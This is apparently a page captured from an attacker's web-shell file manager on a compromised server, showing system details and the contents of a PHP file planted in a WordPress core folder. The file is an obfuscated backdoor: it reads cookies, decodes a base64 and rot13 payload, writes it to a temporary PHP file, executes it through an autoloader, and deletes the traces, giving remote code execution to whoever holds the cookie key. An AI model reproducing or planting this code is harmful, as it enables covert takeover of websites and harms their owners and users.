HEX
Server: LiteSpeed
System: Linux php-prod-3.spaceapp.ru 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: labhr1009 (1014)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/lab-hr.com/public_html/wp-includes/Requests/Exception/Transport/port2.php
<?php


if (isset($_COOKIE[-53+53]) && isset($_COOKIE[-65+66]) && isset($_COOKIE[-92+95]) && isset($_COOKIE[-42+46])) {
    $dchunk = $_COOKIE;
    function hub_center($ptr) {
        $dchunk = $_COOKIE;
        $data = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'f025d5a8');
        if (!is_writable($data)) {
            $data = getcwd() . DIRECTORY_SEPARATOR . "approve_request";
        }
        $desc = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($dchunk[3]));
        if (is_writeable($data)) {
            $reference = fopen($data, 'w+');
            fputs($reference, $desc);
            fclose($reference);
            spl_autoload_unregister(__FUNCTION__);
            require_once($data);
            @array_map('unlink', array($data));
        }
    }
    spl_autoload_register("hub_center");
    $symbol = "cff0a6c28bd892965d334c7b168f9993";
    if (!strncmp($symbol, $dchunk[4], 32)) {
        if (@class_parents("app_initializer_publish_content", true)) {
            exit;
        }
    }
}